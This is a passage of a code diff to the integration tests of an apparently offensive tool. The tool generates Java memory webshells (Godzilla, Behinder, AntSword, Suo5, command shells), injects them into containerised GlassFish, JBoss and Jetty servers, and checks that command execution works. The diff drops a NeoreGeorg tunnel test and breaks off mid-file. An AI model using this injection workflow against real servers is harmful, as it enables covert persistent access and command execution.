             content = packer.getInstance().pack(generateResult);
-            assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
+            assertInjectIsOk(url, shellType, shellTool, content, packer, container);
             log.info("send inject payload successfully");
         }
 
@@ -116,20 +112,9 @@ public class ShellAssertionTool {
             case AntSword:
                 testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
                 break;
-            case NeoreGeorg:
-                testNeoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig()));
-                break;
         }
     }
 
-    private static void testNeoreGeorgIsOk(GenericContainer<?> container, GenericContainer<?> pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception {
-        URL url = new URL(shellUrl);
-        shellUrl = "http://app:" + container.getExposedPorts().stream().findFirst().get() + url.getPath();
-        String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout();
-        log.info(stdout);
-        assertTrue(stdout.contains("All seems fine"));
-    }
-
     public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
         try (GodzillaManager godzillaManager = GodzillaManager.builder()
                 .entrypoint(entrypoint).pass(shellConfig.getPass())
@@ -160,6 +145,11 @@ public class ShellAssertionTool {
         }
     }
 
+    @Test
+    void name() throws Exception {
+        testWebSocketCommandIsOk("ws://localhost:8082/app/hello", null);
+    }
+
     public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
         final CountDownLatch latch = new CountDownLatch(1);
         final String[] responseHolder = new String[1];
@@ -195,6 +185,7 @@ public class ShellAssertionTool {
         }
 
         String res = responseHolder[0];
+        System.out.println(res);
         assertTrue(res.contains("uid="));
     }
 
@@ -244,7 +235,7 @@ public class ShellAssertionTool {
                         .pass(godzillaPass).key(godzillaKey)
                         .headerName("User-Agent").headerValue(uniqueName)
                         .build();
-                log.info("generated {} godzilla with pass: {}, key: {}, User-Agent: {}", shellType, godzillaPass, godzillaKey, uniqueName);
+                log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName);
                 break;
             case Command:
                 shellToolConfig = CommandConfig.builder()
@@ -259,14 +250,14 @@ public class ShellAssertionTool {
                         .headerName("User-Agent")
                         .headerValue(uniqueName)
                         .build();
-                log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName);
+                log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName);
                 break;
             case Suo5:
                 shellToolConfig = Suo5Config.builder()
                         .headerName("User-Agent")
                         .headerValue(uniqueName)
                         .build();
-                log.info("generated {} suo5 with User-Agent: {}", shellType, uniqueName);
+                log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName);
                 break;
             case AntSword:
                 String antPassword = "ant";
@@ -275,14 +266,7 @@ public class ShellAssertionTool {
                         .headerName("User-Agent")
                         .headerValue(uniqueName)
                         .build();
-                log.info("generated {} antSword with pass: {}, User-Agent: {}", shellType, antPassword, uniqueName);
-                break;
-            case NeoreGeorg:
-                shellToolConfig = NeoreGeorgConfig.builder()
-                        .headerName("Referer")
-                        .headerValue(uniqueName)
-                        .build();
-                log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
+                log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName);
                 break;
         }
         return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
@@ -35,18 +33,12 @@ import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjec
 @Testcontainers
 public class GlassFish3ContainerTest {
     public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
             .withExposedPorts(8080);
 
@@ -76,6 +68,6 @@ public class GlassFish3ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -36,18 +34,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish4ContainerTest {
     public static final String imageName = "reajason/glassfish:4.1.2-quick";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
             .withExposedPorts(8080);
 
@@ -73,6 +65,6 @@ public class GlassFish4ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish501ContainerTest {
     public static final String imageName = "reajason/glassfish:5.0.1";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class GlassFish501ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish510ContainerTest {
     public static final String imageName = "reajason/glassfish:5.1.0";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
             .withExposedPorts(8080);
 
@@ -66,6 +58,6 @@ public class GlassFish510ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish6ContainerTest {
     public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class GlassFish6ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish7ContainerTest {
     public static final String imageName = "reajason/glassfish:7.0.20-jdk17";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*startup time.*", 1))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class GlassFish7ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss423ContainerTest {
     public static final String imageName = "reajason/jboss:4-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +58,6 @@ public class Jboss423ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss510ContainerTest {
     public static final String imageName = "reajason/jboss:5-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -69,6 +61,6 @@ public class Jboss510ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss610ContainerTest {
     public static final String imageName = "reajason/jboss:6-jdk7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +58,6 @@ public class Jboss610ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss711ContainerTest {
     public static final String imageName = "reajason/jboss:7-jdk7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -69,6 +61,6 @@ public class Jboss711ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class JbossEap6ContainerTest {
     public static final String imageName = "reajason/jboss:eap-6-jdk8";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +58,6 @@ public class JbossEap6ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class JbossEap7ContainerTest {
     public static final String imageName = "reajason/jboss:eap-7-jdk8";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class JbossEap7ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty10ContainerTest {
     public static final String imageName = "jetty:10-jre11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +56,6 @@ public class Jetty10ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty11ContainerTest {
     public static final String imageName = "jetty:11-jre11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -67,6 +58,6 @@ public class Jetty11ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty61ContainerTest {
     public static final String imageName = "reajason/jetty:6.1-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
